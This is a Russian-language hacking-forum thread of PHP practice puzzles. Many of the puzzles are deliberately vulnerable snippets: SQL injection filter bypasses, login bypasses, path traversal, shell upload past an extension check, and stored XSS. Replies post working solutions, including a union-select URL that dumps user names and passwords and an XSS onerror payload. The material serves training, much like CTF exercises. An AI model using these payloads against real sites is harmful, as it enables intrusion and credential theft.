Просмотр полной версии : [PHP] ЗАДАНИЯ от Krist_ALL
Krist_ALL
20.06.2009, 18:07
PHP - ЗАДАНИЯ ОТ Krist_ALL
Что это такое?
PHP задания - это небольшие задачки по php. Вы можете из выполнять для того, чтобы попрактиковатся в php улучшить и систематизировать свои знания. За каждое выполненое задание вы получаете от меня +4 Задания практикуются в закрытых группах. В предложениях по улучшению данного раздела, я видел что несколько человек просили сделать задания. Вот я и сделал)
Всем ли можно выполнять задания?
Всем, но есть небольшапя просьба, профи, дайте новичкам подумать. И, те, кто состоит в закрытых группах - у вас свои задания, у нас свои. Можете конечно выполнить...Но лучше пусть выполняют люди из паблик раздела
Можно я свои задания здесь напишу?
Да, и я их добавлю во второй пост
Я тупой, объясните еще раз нафига задания и кому это выгодно?
В закрытых группах есть раздел задания - мне не дадут соврать участники закрытых групп. Там есть задания - например залить шелл на сайт, есть и задания на php! Я решил сделать задания тоже только в паблик разделе. Мне ничего не задавали, мне не требуются решения! Выполнили задание - +4 вам в репку и все.
Откуда эти задания?
Задания я беру из головы, иногда из интернета, иногда участники форума подбрасывают.
Я решил 2 задания, а мне поставили плюсики как за одно задание! Почему?
Я не могу ставить сразу 2 раза репутацию. А потом я могу забыть что вы выполнили 2 задания и что я за него не поставил репу. Вы же делаете задания не ради репутации? ;)
Почему тема называется php задания, а тут есть задания на хак?
PHP кодер должен знать как защитить свой скрипт. А то попадаются очень наивные кодеры, которые расчитывают что переменная не может содержать спецсимволов и значение её берётся прям из GET / POST / COOKIE без фильтрации и суётс в запрос к БД. Вариантов масса. Поэтмоу надо делать не только чтобы работало, а чтоб без отказно работало и сломать было нельзя.
Есть ли на других сайтах такие же задания по php?
Есть, но задания на других сайтах менее интересные и не в таком колличестве. Мне кажется задание написать гостеауху - это бред. Тут хорошие интересные задания, разного уровня сложности. Надеюсь Вам понравится! :)
Сколько еще задания будет?
100 а может быть и 1000) Конечно, у меня фантазия не безгранична, но я стараюсь придумывать много интересных заданий. Когда будет 100 задания я сделаю PDFку - 100 задания php :)
Проект закрыт! Задания больше не будет. Я объясню почему.
После смены алгоритма репутации, народ перестал решать задания, оказывается раньше люди решали задания за +++++, а ведь они еще приобретали опыт и новые знания. Но главным для них были +++++. Очень жаль. Спасибо всем , кто добавлял свои задания. Я планировал много интересных задания и книгу 100 заданий php. А сейчас заданий только 50. Может быть задания появються на другом всем известном портале. И всеже ВСЕМ респект огромный!!! :)
-------------------------------------------------------------------------------------
50 ЗАДАНИЙ
-------------------------------------------------------------------------------------
Новости:
Проект закрыт!
50 заданий)
Теперь задания будут сложнее.
ЗАДАНИЯ
__________________________________________________ _____________________________________________
Задание 001
Составить регулярное выражение, которое поменят местами 2 слова в строке. Строка берется из GET переменной.
Комментарий: Задание совсем простое. Для разминки)
Ответ (http://forum.antichat.ru/showpost.php?p=1344221&postcount=30)
Задание 002
Написать функцию, которая многократно, без учета регистра вырезает заданые слова. Например select,union,update или матерные слова :D
Ответ (http://forum.antichat.ru/showpost.php?p=1344146&postcount=23)
Задание 003
Генерировать 3 случайных числа в диапозоне от 1 до 10 пока сумма этих 3х чисел не будет равна 16.
Ответ (http://forum.antichat.ru/showpost.php?p=1344161&postcount=25)
Задание 004
Есть массив array(10,6,15,25,18,11,10,5,7,30). Вывести индексы тех его элементов, которые делятся на 5 без остатка.
Ответ 1 (http://forum.antichat.ru/showpost.php?p=1344116&postcount=20) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1344120&postcount=21)
Задание 005СПАЛИЛ GIFTS! За что ему говрим ''СПАСИБо!"
В GET переменной передается строка вида tratata#tratata. Есть регулярка вида
preg_match('@^\w+@',$_GET['stroka']); Как видно регуляка ищет строку с буквами, вопрос, почему true для строки tratata#tratata и false для tratata%tratata
Задание 006
Есть админка.
login.php
<?php
....
if(isset($_GET['login']) and isset($_GET['password']))
{
if(preg_match('#^\d$#',$_GET['password'])) {
$password = (int)$_GET['password']; }
else $password = $_GET['password'];
$login = $_GET['login'];
if($login == 'admin' and $password == "gg") echo 'OK'; else exit;
}
...
?>
Как войти в админку не зная пароля? Логин всегда admin
Ответ (http://forum.antichat.ru/showpost.php?p=1345597&postcount=47)
Задание 007 от d_x
Скрипты выводят некоторые строки или числа, подумайте, почему именно так?
Сложность по возрастанию.
<?php
print ((print '')<<1)+((print '')<<(((print '')<<1)+(print '')))+((print '')<<(((print '')<<1)+((print '')<<1)))+((print '')<<(((print '')<<1)+((print '')<<1)+((print '')<<1)+print ''))+((print '')<<(((print '')<<1)+((print '')<<1)+((print '')<<1)+((print '')<<1)+print ''));
?>
<?php
for($i=0,$a=a;$i<=2941;$i++)
$a++;
eval($a."('".++$a."');");
?>
<?php
$a=1;
$a=$a<<7;
$a-=$a>>3;
${chr($a)}=$a;
$a+=2;
$p=chr($p).chr($a);
$a=0151;
$p.=chr($a);
$a=m;
$p.=++$a.t._.r;
$p($p($p));
?>
Задание 008
Как обойти фильтр?
<?php
$id = str_ireplace('select', '', $_GET['id'])
$query = mysql_fetch_array(mysql_query("select * from news where id ='$id' "));
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1344116&postcount=20 )
Задание 009
В директории 3 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php
<?php
$f = (string)@$_GET['f'];
$f = str_replace('/', '', $f);
$f .= '.inc;
if (file_exists($f)) {
echo htmlspecialchars(file_get_contents($f));
}
else exit;
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1346113&postcount=53 )
Задание 010
Провести sql injection
<?php
$name = str_replace('/**/','','str_replace(' ','',$_GET['name']));
$query = mysql_query("select * from users where name='$name'"); ?>
Ответ (http://forum.antichat.ru/showpost.php?p=1345545&postcount=46)
Задание 011 от d_x
Есть строка:
$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';
Задание:
Написать скрипт, который все цифры в тексте заменит на их шестнадцатеричные эквиваленты, чтобы получилось так:
PHP код:
0x17F текст с числами 0x16CE
0x27B еще текст 0x1 0x1CE
0x1B0текст0x234
Запрещено использовать любые циклы.
Ответ 1 (http://forum.antichat.ru/showpost.php?p=1345597&postcount=47) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1345974&postcount=50)
Задание 012 от BlackSun
Нарыть активную XSS
<? // config.php
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'xss';
mysql_connect($dbhost, $dbuser, $dbpass) or die('Can\'t connect to MySQL server.');
mysql_select_db($dbname) or die('Can\'t select db.');
?>
<? // index.php
include('config.php');
function callback($text)
{
return html_entity_decode($text[0]);
}
function parse_bb($text)
{
$text = str_replace('"', '', $text);
$text = str_replace("'", '', $text);
$text = htmlspecialchars($text);
$text = str_replace("\r\n", '<br>', $text);
$bb = array('' => '<b>', '' => '</b>', '' => '<u>', '' => '</u>',
'' => '<i>', '' => '</i>', '' => '<center>', '' => '</center>',
'' => '">', '' => '</a>',
'' => '">', '' => '</a>',
'' => '<img border="0" src="', '' => '">', '[HR]' => '<hr>');
foreach ($bb as $code => $replace)
{
$text = str_replace($code, $replace, $text);
}
$text = preg_replace_callback('#"(.*?)"#', 'callback', $text);
return $text;
}
if (isset($_POST['name']) && isset($_POST['text']))
{
mysql_query('INSERT INTO gb (`name`, `text`) VALUES (\''.addslashes(htmlspecialchars($_POST['name'])).'\', \''.parse_bb($_POST['text']).'\')');
header('Location: index.php');
die();
}
?>
<html>
<head>
<title>Active XSS</title>
<style type="text/css">
html {
background-color: #e6e6e6;
}
body {
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
margin: 10px;
border: 1px solid #d0d0d0;
background-color: #f6f6f6;
padding: 10px;
}
#text {
border: 1px solid #999;
background-color: f6f6f6;
color: #000;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
#input1 {
border: 0;
color: #000;
width: 100%;
}
textarea {
border: 0;
color: #000;
width: 100%;
height: 150px;
}
table {
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
#button {
border: 0;
background-color: f6f6f6;
color: #000;
width: 99%;
}
#border {
border: 1px solid #999;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
</style>
</head>
<body>
<form method="post">
<table border="0" cellpadding="1" cellspacing="1" width="80%" align="center">
<tr>
<td width="100px">You name: </td>
<td id="border"><input type="text" name="name" value="Vasya" id="input1"></td>
</tr>
<tr>
<td colspan="2">
<b>Allowed BB code:</b><br>
<ul>
<li><b> [HR]</b></li>
<li><b></b>My MAIL<b></b></li>
<li><b></b>My Site<b></b></li>
</ul>
</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2" align="center" id="border">
<textarea name="text"></textarea>
</td>
</tr>
<tr>
<td colspan="2" align="center" id="border"><input type="submit" value="Post" id="button"></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<table border="0" cellpadding="2" cellspacing="2" width="100%" align="left" id="text">
<?
$result = mysql_query('SELECT * FROM gb ORDER BY id DESC');
if ($result)
{
while ($row = mysql_fetch_array($result))
{
?>
<tr>
<td><?=$row['name'];?> ОХЬЕР:</td>
</tr>
<tr>
<td><?=$row['text'];?></td>
</tr>
<tr>
<td align="center"><font color="Gray">---------</font></td>
</tr>
<?
}
}
?>
</table>
</tr>
</table>
</form>
</body>
</html>
CREATE TABLE IF NOT EXISTS `gb` (
`id` int(11) NOT NULL auto_increment,
`name` text NOT NULL,
`text` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM;
Ответ (http://forum.antichat.ru/showpost.php?p=1345150&postcount=37)
Задание 013
Войти в панель администрирования, используя sql injection . В БД не лезть. Обмануть проверку просто.
<?php // Login.php
....
$query = "select * from admin where pass = '$_POST['pass']' and login = '$_POST['login']'";
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1346024&postcount=51)
Задание 014
Составить регулярное выражение, которое заменяет на лету
набор букв на мд5(от букв). Пример: 44ffff385dddd55
заменить на 44 (хешь от ffff) 385 (хешь от dddd) 55
Ответ (http://forum.antichat.ru/showpost.php?p=1346430&postcount=63)
Задание 015
Какое число будет записано в переменую id при регистр глобал ON, и объяснить ПОЧЕМУ.
POST => $id = 1
COOKIE => $id = 2
GET => $id = 3
<?ph
$id = $_REСQUEST['id'];
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1346067&postcount=52 )
ЗАДАНИЕ 016 от d_x
Есть массив:
$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);
Написать функцию для его сортировки, чтобы можно было отсортировать этот массив, например, по ключам key1 по возрастанию и по ключам key2 по убыванию (нечто вроде sql - order by key1 asc, key2 desc), чтобы в результате получился такой массив:
Array(
//все key1 - по возрастанию
Array('key1'=>0,'key2'=>0),
Array('key1'=>1,'key2'=>3),
Array('key1'=>2,'key2'=>5), //тут
Array('key1'=>2,'key2'=>2), //и тут key2 - по убыванию
Array('key1'=>3,'key2'=>7),
Array('key1'=>5,'key2'=>8), //аналогично тут
Array('key1'=>5,'key2'=>6), //тут
Array('key1'=>5,'key2'=>1), //и тут
Array('key1'=>6,'key2'=>9),
Array('key1'=>8,'key2'=>4)
)
Учесть, что ключей у вложенных массивов может быть сколько угодно, самих вложенных массивов также может быть любое число.
Ответ 1 (http://forum.antichat.ru/showpost.php?p=1347659&postcount=71) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1347686&postcount=72 )
ЗАДАНИЕ 017
Есть строка текствоя. Нужно выделить красным слова, которые являются частью предыдущих слов. Например:
на входе "Ламерок ламер " на выхоже
Ламерок ламер
Ответ (http://forum.antichat.ru/showpost.php?p=1348352&postcount=86)
ЗАДАНИЕ 018
Есть 2 переменные a = 5 И b =7. Нужно чтобы $a =7 а $b = 5 , при этом не создавая новых переменных
Ответ (http://forum.antichat.ru/showpost.php?p=1347447&postcount=66)
ЗАДАНИЕ 019
$array = array(5,8,9,15,145,854,64,1,3,8,46,9999);
Определить максимальное число, которое находится в массиве, и вывести его индекс.
Ответ (http://forum.antichat.ru/showpost.php?p=1347447&postcount=66)
Задание 020 от .:Enot:.
Предположим что у вас из интерпритатора спёрли функции implode() и join(). Напишите функцию, которая делает тоже самое что вышеупомянутые - объединяет массив в строку. Ну бинарнобезопасную обработку данных конечно можно опустить )
Ответ (http://forum.antichat.ru/showpost.php?p=1348837&postcount=90)
Задание 021 от .:Enot:.
Есть два вот таких массива:
$num = 5; // Любая цифра
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
В итоге должно получиться следующее:
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 4
[4] => 5
)
Array
(
[0] => 6
[1] => 7
[2] => 8
[3] => 9
[4] => 10
[5] => 11
[6] => 13
[7] => 15
[8] => 17
)
Т.е. два массива с элементами, отсортированными по возрастанию. Количество элементов в первом массиве определяется в переменной $num.
Естественно все действия только с исходными массивами, никаких range() и т.д. Ну и главное условие, циклами пользоваться нельзя
Ответ (http://forum.antichat.ru/showpost.php?p=1348883&postcount=91)
Задание 022
У вас украли php функцию foreach(), написать ее на пхп) с использованием циклов.
Ответ (http://forum.antichat.ru/showpost.php?p=1348837&postcount=90)
Задание 023
Определить с помощью регулярки делится ли число на 10 или нет.
Ответ (http://forum.antichat.ru/showpost.php?p=1348383&postcount=881)
Задангие 024
Определить какой код выполнится быстрее и написать как вы оперделили это, а не просто мне так кажется :)
for($i=0;$i<10;$i++)
{ echo '1php '; }
while($i<10) {
echo 'w1';
$i +=1;
}
Ответ (http://forum.antichat.ru/showpost.php?p=1481789&postcount=119)
Задание 025
if(!preg_match('#\.php$#',$_FILES['name']))
{
//Загрузка файла
}
else exit;
Как видно из кода, проверяется расширение, если у файла расширение не php, то он загружается на сервер. Как залить шел?
Комментарий: Несовсем по пхп зададчка, но интересная.
Ответ (http://forum.antichat.ru/showpost.php?p=1354552&postcount=71)
Задание 026
Объяснить, почему выводит 0.
$a = 10;
$b = 515;
$c = 0.515;
$d = $b<=$a&&$a==$c||$b>$c?0:1;
echo $d;
Ответ (http://forum.antichat.ru/showpost.php?p=1380622&postcount=102)
Зададние 027
Чего не знал програмист, кодя этот скрипт.
<?php
$name= htmlspecialchars($_POST['name'], ENT_COMPAT);
mysql_query("select * from users Where name = '$name'");
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1379613&postcount=93)
Зададние 028
Это скрипт инвайтов на одни супер пупер сайт. Надо ввести слово секретное и тогда будет доступна рега. Слова хранятся в бд. Если вы ввели слово и оно есть в бд - вы получите досутп к реге - это так задумывал горе кодер. Обойдите эту защиту.
<?php
//
include('connect_database.php');
$b = mysql_real_escape_string($_GET['word']);
mysql_query("select * from private where word like '$b'");
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1379597&postcount=92)
Задание 029
Написать скрипт зеркального отражения слов. На входе античат, на выходе тачитна - чтобы так можно было делать с любым словом.
Ответ 1 (http://forum.antichat.ru/showpost.php?p=1380360&postcount=100) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1379707&postcount=96)
Задание 030
<?php
$a = array('cat','dog','fox');
$b = array('Moscow','London');
$c = array('RED');
$d = $b + $a + $c;
?>
Что окажется в массиве $d и почему.
Ответ 1 (http://forum.antichat.ru/showpost.php?p=1481816&postcount=120) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1481345&postcount=103)
Задание 031
Написать функцию определения сколько массивов содержит в себе массив. пример:
$a[] // 0
$a[][] // 1
$a[][][][][] //4
Ответ ( http://forum.antichat.ru/showpost.php?p=1481358&postcount=104)
Задание 032
Написать функцию, которая на выходе даст колличество спецсимволов во входной строке.
Ответ (http://forum.antichat.ru/showpost.php?p=1481664&postcount=115)
Задание 033
<?php
$a = -1;
If($a == TRUE) echo 1;
?>
Почему выводит 1?
Ответ (http://forum.antichat.ru/showpost.php?p=1488446&postcount=122)
Задание 034
<?php
echo (int)((0.1+0.7) *10);
?>
Объяснить, почему выводит 7
Ответ (http://forum.antichat.ru/showpost.php?p=1494098&postcount=133)
Задание 035 от mailbrush
Выполнить системную комманду, не используя каких-либо функциий, кроме echo (для вывода результата).
Ответ (http://forum.antichat.ru/showpost.php?p=1495401&postcount=138)
Задание 036 от mailbrush
$word = 'Hello';
Вывести значение переменной $word.
Строка "$word" в коде встречаться не должна.
Никакой конкатезации в коде не должно быть.
Ответ (http://forum.antichat.ru/showpost.php?p=1493997&postcount=132)
Задание 037 от ElterRUS
Обойти авторизайию
<?php
$login = substr($_GET['login'],0,6);
$password = substr($_GET['password'],0,6);
$login = str_replace('#', '', $login);
$login = str_replace("-", '', $login);
$login = str_replace('*', '', $login);
$login = str_replace('|', '', $login);
$password = str_replace('#', '', $password);
$password = str_replace("-", '', $password);
$password = str_replace('*', '', $password);
$password = str_replace('|', '', $password);
$login = preg_replace("/and|or/i","fuck",$login);
$password = preg_replace("/and|or/i","fuck",$password);
$query = "select * from `admin` where login = '$login' and password = '$password'";
$result = mysql_query($query);
if(mysql_num_rows($result) > 0)
{
//в админке
}
. . .
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1499291&postcount=153)
Задание 038
Написать функцию, которая делает следующее:
на вход:
первый аргумент - массив из чисел, например 2,8,10
второй аргумент - слово, например underground
на выходе - uNdeegrOuNd
тоесть Меняем на верхний регистр те буквы, номер которых указан в массиве.
Ответ (http://forum.antichat.ru/showpost.php?p=1531836&postcount=161)
Задание 039
<?php
$i = 08;
echo $i;
?>
Что выведет скрипт и почему.
Ответ (http://forum.antichat.ru/showpost.php?p=1534615&postcount=162)
Задание 040
Написать скрипт, который сделает следующее:
Было:
<?php
$a[1]['a'] = 'lol';
$a[1]['b'] = 'heh';
$a[2]['a'] = 'gygy';
$a[2]['b'] = 'smeh';
?>
Стало
<?php
$b[0] = 'lol';
$b[1] = 'heh';
$b[2] = 'gygy';
$b[3] = 'smeh';
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1534615&postcount=162)
Krist_ALL
20.06.2009, 18:08
Задание 041
<?php
//INDEX.PHP
$a = 'hack php';
$lamer = $a;
include('sort.php');
?>
Как из файла sort.php узнать, что он приинклуден в файл Index.php .if(isset($a)) не пойдет т.к. название переменных могут быть любые. Через глобалс тоже не пойдет.
Ответ 1 (https://forum.antichat.ru/showpost.php?p=1575894&postcount=167) Ответ 2 (https://forum.antichat.ru/showpost.php?p=1576866&postcount=170)
Задание 042
$filename = str_replace('../', '', $_GET['filename']);
include('pages/'.$filename);
Подняться на директорию выше и приинклудить например файл a.php
Ответ (http://forum.antichat.ru/showpost.php?p=1684971&postcount=204 )
Задание 043 от HAXTA4OK
<?php
$a = (int) $_GET['a'];
if ($_GET['a'] == 1)
exit;
elseif($a == 1)
eval ($_GET['b']);
?>
Вывести phpinfo(); всеми способами
Ответ (https://forum.antichat.ru/showpost.php?p=1679471&postcount=196)
Задание 044
Чем отличаются эти функции?
mail() от mb_send_mail(),
strlen() от mb_strlen();
Задание 045 от DM
Найти уязвимость в коде.
CREATE TABLE stats (id int unsigned not null PRIMARY KEY AUTO_INCREMENT, useragent varchar(255), ip varchar(16), referer varchar(255));
<?php
mysql_connect('localhost', 'root', 'secretpassword');
mysql_select_db('antichat');
//Обработка переменных
function Sanitize($data_to_sanitize) {
$data_to_sanitize = addslashes($data_to_sanitize);
$data_to_sanitize = htmlspecialchars($data_to_sanitize);
return $data_to_sanitize;
}
function Sanitize_Array($value) {
$value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value);
return $value;
}
$_SERVER = array_map('Sanitize_Array', $_SERVER);
$sql = "INSERT INTO stats (ip, useragent, referer)
VALUES ('".substr($_SERVER['REMOTE_ADDR'],0,16)."', '".substr($_SERVER['HTTP_USER_AGENT'],0,255)."', '".substr($_SERVER['HTTP_REFERER'],0,255)."')";
mysql_query($sql);
mysql_close();
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1679220&postcount=192)
Задание 046
Чем отличается $a = $i++; от $a = ++$i;
Ответ (http://forum.antichat.ru/showpost.php?p=1682810&postcount=199)
Задание 047
include('db_connect.php');
...
$i=0;
if($_POST['login'] == $query['login']) $i +=1;
if($_POST['pass'] == $query['pass']) $i +=1;
if($i == 2) $_SESSION['auth'] = 'YES';
Обойти авторизацию.
Задание 048
//Мы вызываем функцию cat с 3мя параметрами
cat(1,2,3);
function cat(......)
{
................
return //Функция должна вернуть число аргументов, которые мы передаем при её вызове.
// cat(1) функция должна вернуть 1
// cat(1,2,,5,8,5,478,8,5) функция должна вернуть 8
}
Ответ (http://forum.antichat.ru/showpost.php?p=1683364&postcount=200)
Задание 049
Что нельзя делать с массивом GLOBALS такова, что можн с другими массивами
Ответ (http://forum.antichat.ru/showpost.php?p=1711107&postcount=206 )
Задание 050
Написать скрипт который выведет сколько строк он сам.
<?php
$a=1;
$d=2;
//Должен вывести число 2, тоесть строки с дескрипторами не всчет.
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1683739&postcount=203 )
ТС маладэц,+5
Задание 003
<html>
<body>
<?php
$a=rand(1,10);
$b=rand(1,10);
$c=rand(1,10);
$sum=($a+$b+$c);
if($sum==16){
echo " сумма этих 3х чисел равна 16.";
exit;
}
?>
<form method=post>
<input name="chislo" type="text" value="<? echo "не 16"; ?>">
<input type="submit" value="Send">
</form>
</html>
исправил
wildshaman
21.06.2009, 13:09
Задание 004
<?php
$a=array(10,6,15,25,18,11,10,5,7,30,32,40);
for ($i=0; $i<count($a); $i++)
echo ($a[$i]%5)==0?$i." ":'';
?>
Задание 008:
в запрос ставить:
selselectect, тогда select вырежется из середины и останется select
Задание 010:
Вместо пробела ставить + или %20 (точно не уверен).
Задание 004 лучше так:
<?php
$a=array(10,6,15,25,18,11,10,5,7,30,32,40);
foreach($a as $index=>$elem)
if($elem%5==0) print $index.' ';
?>
wildshaman
21.06.2009, 13:31
задание 002:
<?php
$badwords=array('union', 'select', 'xuy');
$str='union union select [uy unununionionion fdfsd xxuyuy';
foreach ($badwords as $word)
{
while(preg_match("|$word|is",$str))
$str=str_ireplace("$word","",$str);
}
echo $str;
?>
wildshaman
21.06.2009, 13:41
Задание 003:
<?php
while ($sum!=16)
{
$s1=rand(0,10);
$s2=rand(0,10);
$s3=rand(0,10);
$sum=$s1+$s2+$s3;
echo $s1." ".$s2." ".$s3."<br>";
}
?>
wildshaman
21.06.2009, 14:22
Задание 001
<?php
$str = "123 456";
echo preg_replace("|(.*) (.*)|is", "\$2 \$1", $str);
?>
ph1l1ster
21.06.2009, 16:04
Может переменуете тему в Perl, PHP, MySql, JS Задания?) и не только по пхп... будет интересней
>> МБ тогда пробел захексить?)
Омг
>> Krist_ALL, добавь в 010 чтобы заменялось ещё /**/, а то тут банально очень, пусть подумают
Лучше сразу /, * . Т.к. есть /*!...*/
BlackSun
21.06.2009, 17:09
Обойти авторизацию
<? // config.php
$admin_login = 'admin';
$admin_pass = 'laufd98w3er9832y9508wer';
?>
<? // index.php
require 'config.php';
unset($$my_security_var);
unset($my_security_var);
unset($$my_security_var2);
unset($my_security_var2);
if ($login == $admin_login and $passwd == $admin_pass)
{
die('Done.');
} else
{
echo 'Incorrect';
}
?>
<form method="get">
<input type="text" name="login" style="width:150px" value="login">
<input type="text" name="passwd" style="width:150px" value="pass">
<input type="submit" value="Check">
</form>
----------------------
Нарыть активную XSS
<? // config.php
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'xss';
mysql_connect($dbhost, $dbuser, $dbpass) or die('Can\'t connect to MySQL server.');
mysql_select_db($dbname) or die('Can\'t select db.');
?>
<? // index.php
include('config.php');
function callback($text)
{
return html_entity_decode($text[0]);
}
function parse_bb($text)
{
$text = str_replace('"', '', $text);
$text = str_replace("'", '', $text);
$text = htmlspecialchars($text);
$text = str_replace("\r\n", '<br>', $text);
$bb = array('' => '<b>', '' => '</b>', '' => '<u>', '' => '</u>',
'' => '<i>', '' => '</i>', '' => '<center>', '' => '</center>',
'' => '">', '' => '</a>',
'' => '">', '' => '</a>',
'' => '<img border="0" src="', '' => '">', '[HR]' => '<hr>');
foreach ($bb as $code => $replace)
{
$text = str_replace($code, $replace, $text);
}
$text = preg_replace_callback('#"(.*?)"#', 'callback', $text);
return $text;
}
if (isset($_POST['name']) && isset($_POST['text']))
{
mysql_query('INSERT INTO gb (`name`, `text`) VALUES (\''.addslashes(htmlspecialchars($_POST['name'])).'\', \''.parse_bb($_POST['text']).'\')');
header('Location: index.php');
die();
}
?>
<html>
<head>
<title>Active XSS</title>
<style type="text/css">
html {
background-color: #e6e6e6;
}
body {
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
margin: 10px;
border: 1px solid #d0d0d0;
background-color: #f6f6f6;
padding: 10px;
}
#text {
border: 1px solid #999;
background-color: f6f6f6;
color: #000;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
#input1 {
border: 0;
color: #000;
width: 100%;
}
textarea {
border: 0;
color: #000;
width: 100%;
height: 150px;
}
table {
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
#button {
border: 0;
background-color: f6f6f6;
color: #000;
width: 99%;
}
#border {
border: 1px solid #999;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
</style>
</head>
<body>
<form method="post">
<table border="0" cellpadding="1" cellspacing="1" width="80%" align="center">
<tr>
<td width="100px">You name: </td>
<td id="border"><input type="text" name="name" value="Vasya" id="input1"></td>
</tr>
<tr>
<td colspan="2">
<b>Allowed BB code:</b><br>
<ul>
<li><b> [HR]</b></li>
<li><b></b>My MAIL<b></b></li>
<li><b></b>My Site<b></b></li>
</ul>
</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2" align="center" id="border">
<textarea name="text"></textarea>
</td>
</tr>
<tr>
<td colspan="2" align="center" id="border"><input type="submit" value="Post" id="button"></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<table border="0" cellpadding="2" cellspacing="2" width="100%" align="left" id="text">
<?
$result = mysql_query('SELECT * FROM gb ORDER BY id DESC');
if ($result)
{
while ($row = mysql_fetch_array($result))
{
?>
<tr>
<td><?=$row['name'];?> ОХЬЕР:</td>
</tr>
<tr>
<td><?=$row['text'];?></td>
</tr>
<tr>
<td align="center"><font color="Gray">---------</font></td>
</tr>
<?
}
}
?>
</table>
</tr>
</table>
</form>
</body>
</html>
CREATE TABLE IF NOT EXISTS `gb` (
`id` int(11) NOT NULL auto_increment,
`name` text NOT NULL,
`text` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM;
BlackSun Второе не смотрел пока ..
первое ... отправить дополнительно ешё 2 гет параметра
my_security_var = admin_login
my_security_var2 = admin_pass
а логин и пароль оставить пустыми .. у себя не проверял т.к лень править php.ini но в правельности уверен на 99.99%
BlackSun
21.06.2009, 23:07
Правильно. Завтра + поставлю, сегодня всё в минусомет убил
не совсем по скриптовым языкам (пусть нижний код будет на c - или на этом языке от сан - или ...), но всё же - без компиляции, дебага и т.п. скажите, чему будет равно a? (просто, но смешно)
int a = 5+765432l;
BlackSun второе
[HREF=([HREF=(style=background:url() onerror=alert(/lo/) )HREF])HREF]
в опере пахает в остольных не проверял =)
зы хсс в стилях чесно скомуниздено у LeverOne ... т.к забыл как вызывать алерт через стили =)
desTiny хз чему будет равно но момойму значение будет привышать максимальное допустимое для int ... хз :rolleyes:
desTiny хз чему будет равно но момойму значение будет привышать максимальное допустимое для int ... хз :rolleyes:
превышать точно не будет - в int что-то порядка 2.1*10^9 влезает
ну смотря в какой сисиеме 16/32/64 и что short/long не помнб что ставится по умолчанию када пишешь просто int =)
int по дефолту 32-битный (в 32-битной системе и тп все меня поняли). короче, нет там переполнений)
не удержался .. скомплил .. ппц =)
хмм .. написал то же самое ручками сё норм ..
еси скопировать то выходит байда оО wtf?
бля сцук)) это не 1 а L ! =)
Krist_ALL
22.06.2009, 00:52
Пожалуйста, не пишите сюда задания на с и с++, для этого есть специальный разел. Завтра еще заданий добавлю. И обновлю фак в начале. Спасибо всем кто принимает участие! Пхп-взлом -новая тематика заданий)
Extremal
22.06.2009, 02:16
Задание 010
Провести sql injection
<?php
$name = str_replace('/**/','','str_replace(' ','',$_GET['name']));
$query = mysql_query("select * from users where name='$name"); ?>
http://site.com/index.php?name=union%09select%091,2,CONCAT_WS(':', name,passwd),4,5,6%09from%09users/*
SleepShadowWeb
22.06.2009, 03:27
в 6 'password'=0
в 9 точек добавить штук 250
в 11
function zamena($s)
{
return "0x".strtoupper(dechex($s[1]));
}
$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';
$str = preg_replace_callback("/(\d{4})/U", "zamena", $str);
$str = preg_replace_callback("/(\d{3})/U", "zamena", $str);
echo $str;
BlackSun
22.06.2009, 10:09
BlackSun второе
)HREF]
в опере пахает в остольных не проверял =)
зы хсс в стилях чесно скомуниздено у LeverOne ... т.к забыл как вызывать алерт через стили =)
Задумывалось немного по другому :)
Активную XSS можно провести, используя вложенные BB коды.
В функции parse_bb вначале все выглядит довольно спокойно:
$text = str_replace('"', '', $text);
$text = str_replace("'", '', $text);
$text = htmlspecialchars($text);
Но далее идет регулярное выражение, которое преобразует, фильтрованный функций htmlspecialchars, текст, находящийся меж двойных скобок ("). Используя ББ код [HREF=()HREF] можно передать регулярному выражению текст, с "не правильно" расставленными кавычками, благодаря чему текст, находящийся после второго ББ кода (который "закрыл" первый) будет декодирован aka преобразован в html код и записан в БД. Вуаля - активная XSS.
Ядовитый код:
